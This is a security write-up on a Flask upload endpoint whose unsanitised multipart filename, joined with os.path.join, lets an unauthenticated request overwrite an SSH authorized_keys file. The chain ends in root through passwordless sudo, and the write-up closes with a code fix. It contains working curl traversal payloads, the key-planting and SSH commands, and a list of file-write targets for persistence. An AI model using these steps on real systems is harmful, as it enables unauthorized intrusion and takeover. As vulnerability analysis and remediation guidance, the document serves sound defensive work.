This note walks through a vulnerability chain on a Python web application that allowed an unauthenticated remote attacker to reach root on the host. The chain combined three independently mundane conditions:
filename field from the multipart envelope, without calling werkzeug.utils.secure_filename() or otherwise validating the resulting path.~/.ssh/.sudo group with a passwordless sudoers entry.None of these is unusual in isolation. Combined, they produced a clean unauthenticated path from a single HTTP request to interactive root over SSH. The walk-through below is deliberately framed around how the hypothesis was formed and which signals confirmed each step, because the technique itself is well-understood — what is usually missing in write-ups is the reasoning that bridges “the upload field exists” and “the bytes I sent landed in authorized_keys.”
During recon I was working through a flat list of subdomains for a target and looking for two things in parallel: (a) hosts that returned 200 with a server banner indicating Python (commonly gunicorn, werkzeug, or uvicorn), and (b) hosts whose front pages mentioned anything resembling a job-submission or file-processing workflow. Hosts in the intersection of those two filters are disproportionately interesting: a Python web stack with user-facing file ingestion is one of the highest-yield combinations in the wild, because the framework idioms make it easy to write the unsafe version of the upload handler and equally easy to ship it.
The host in question presented a simple single-page form: a text field, a file picker, and a submit button. Viewing the page source revealed a multipart/form-data form with a small fixed set of fields, including a free-text fileName and an opaque taskId generated client-side. No login, no captcha, no CSRF token on the POST. The endpoint accepted unauthenticated submissions.
That alone is not a finding. It is, however, the precondition for a particular hypothesis I was going to test next.
The hypothesis was specific and falsifiable: the server is calling something equivalent to os.path.join(upload_dir, request.files['file'].filename) and then uploaded_file.save(that_path), with no sanitisation of the filename component.
This pattern is the canonical Flask / Werkzeug footgun. The framework's documentation explicitly warns about it — secure_filename() exists precisely to defang multipart filename values — but the safe version requires an extra import and an extra line. The unsafe version is what naturally falls out of a copy-paste from the Quickstart. Whenever I see a Python upload endpoint, the first thing I test for is this exact bug, because the failure mode is so common that “does secure_filename appear in the request handler” is effectively a coin-flip.
The reason it matters that os.path.join is involved (as opposed to, say, manual string concatenation) is a quirk in the function's documented behaviour: if any component passed to os.path.join begins with a path separator, all preceding components are discarded and the result is the absolute path verbatim. In other words:
>>> import os
>>> os.path.join('/var/www/app/uploads', '12345', '/home/ubuntu/.ssh/authorized_keys')
'/home/ubuntu/.ssh/authorized_keys'
That is the entire root cause of the class. If the attacker controls any component of the joined path, and that component is allowed to begin with /, the attacker controls the final write location.
The test for the hypothesis was a single curl:
curl -X POST 'https://<host>/api/upload' \
-F 'taskId=x' \
-F 'fileName=x' \
-F "file=@/tmp/probe.txt;filename=../../../../../../../tmp/cuong-probe-1.txt"
The key piece is ;filename=... in the multipart field for the actual file part. This sets the Content-Disposition filename inside the part itself, which is what request.files['file'].filename returns in Flask — not the sibling fileName form field. The two often differ in attacker-controlled ways, and many input-validation layers only inspect the latter.
The response was HTTP 500 with a Python traceback containing KeyError on a column name that a downstream CSV-parsing step expected to find in the uploaded file. That error was the confirmation oracle: it could only be reached if the file had been written to disk and then re-read by the controller. A blocked or rejected write would have returned a different shape of error — 400, or a FileNotFoundError, or a PermissionError. A KeyError from a CSV parser specifically meant the file write succeeded, the controller advanced past the write step, and the only failure was the application's attempt to parse my non-CSV content.
I confirmed the same signal with a second request writing to a different absolute path, then SSH'd nothing — I only had the file-write primitive at this point. The next question was whether a writable filesystem location existed that would let me convert “write any file as the web server user” into “execute any code as the web server user.”
A path-traversal-to-arbitrary-file-write primitive becomes interesting only when there is somewhere worth writing to. Common targets, in rough order of operational ease:
app/, models/, or any path the framework auto-loads on the next request gives in-process code execution as the web server user. This is the textbook escalation for Flask/Django/Web2py-style apps, but requires knowing the on-disk layout./etc/cron.d/, /var/spool/cron/crontabs/<user>). Works only if the web server user can write there, which they normally cannot.www-data or nobody), ~/.bashrc, ~/.profile, and especially ~/.ssh/authorized_keys become available..pth files under the user's ~/.local/lib/python<ver>/site-packages/. A .pth file containing import foo runs foo on every Python interpreter startup that includes that site-packages on its path.The crucial reconnaissance question was: which user is the web server running as? The answer was inferable without RCE. Two cheap signals:
/var/www/<app>/, which on most stock Ubuntu deployments is owned by either www-data or by whichever user ran the install. www-data typically does not have a real home directory or shell.ubuntu, and a non-trivial fraction of self-hosted Python web apps end up being launched manually as that user with nohup or tmux, especially in academic / research / lab deployments. The shape of the deployment (single host, Werkzeug debug on, no reverse proxy in front of Flask) was strongly consistent with that pattern.The hypothesis was therefore: the process runs as ubuntu, has write access to /home/ubuntu/, and /home/ubuntu/.ssh/ either exists or can be created. I generated an Ed25519 keypair and fired:
ssh-keygen -t ed25519 -f /tmp/pwn_key -N ""
curl -X POST 'https://<host>/api/upload' \
-F 'taskId=x' \
-F 'fileName=x' \
-F "file=@/tmp/pwn_key.pub;filename=../../../../../../../home/ubuntu/.ssh/authorized_keys"
Same HTTP 500 KeyError response. Then:
ssh -i /tmp/pwn_key ubuntu@<host>
Interactive shell as ubuntu on the first attempt.
The shell landed in a user account whose id output included 27(sudo). A blind sudo id with no password prompt returned uid=0(root).
$ id
uid=1000(ubuntu) gid=1001(ubuntu) groups=...,27(sudo),...
$ sudo id
uid=0(root) gid=0(root) groups=0(root),1001(ubuntu)
No further work was needed. The deployment had a passwordless sudoers entry for the ubuntu user — the default on many cloud-image-based installs — and the application's choice to run as that user (rather than as a dedicated low-privilege service account) meant that “file write as the web user” was a direct, unauthenticated path to root.
The full chain, end to end, was: unauthenticated POST → raw multipart filename in os.path.join → absolute-path write to ~/.ssh/authorized_keys → SSH as ubuntu → sudo -n to root. Total wall-clock time from discovering the upload field to root shell was approximately twelve minutes, the bulk of which was spent waiting for SSH connections.
The controller code, reconstructed from the visible behaviour and a public copy of the same upstream framework integration, was structurally:
uploaded_file = request.files['file']
file_name = uploaded_file.filename # raw from multipart header
target_path = os.path.join(
project_root, 'app', 'static', 'uploads', task_id, file_name
)
if uploaded_file.filename != '':
uploaded_file.save(target_path) # writes attacker-controlled bytes
# to attacker-controlled path
Three things are wrong here, in roughly increasing order of severity:
file_name is never passed through secure_filename() or any equivalent. The multipart filename field is fully attacker-controlled, may contain ../, may begin with /, may contain NUL bytes, and on Windows targets may include drive letters and alternate data stream syntax.os.path.join is being asked to compose three components, the last of which is attacker-controlled. As shown earlier, if that component begins with /, the “base” is silently discarded. There is no commonly used Python idiom that catches this except for an explicit post-join check that the resolved path is still inside the intended directory (os.path.commonpath or pathlib.Path.resolve().is_relative_to()).upload_dir. Even with a sanitised filename, defence-in-depth on the resolved path would prevent the entire class of bug.The correct minimal fix is two lines:
from werkzeug.utils import secure_filename
safe_name = secure_filename(uploaded_file.filename)
if not safe_name:
abort(400)
upload_dir = os.path.join(project_root, 'app', 'static', 'uploads', task_id)
target_path = os.path.join(upload_dir, safe_name)
# Defence in depth: ensure no traversal even if secure_filename ever regresses
if os.path.commonpath([os.path.realpath(target_path),
os.path.realpath(upload_dir)]) != os.path.realpath(upload_dir):
abort(400)
uploaded_file.save(target_path)
None of the individual bugs in this chain were particularly impactful on their own. An unauthenticated upload endpoint, an unsanitised filename, a web user with a real home directory, and a passwordless sudoers entry would each, in isolation, sit somewhere between Informational and Medium. It was only once they were chained together that the impact became real — and once the chain reached an interactive root shell over SSH from a single anonymous HTTP request, the severity escalated all the way to Critical.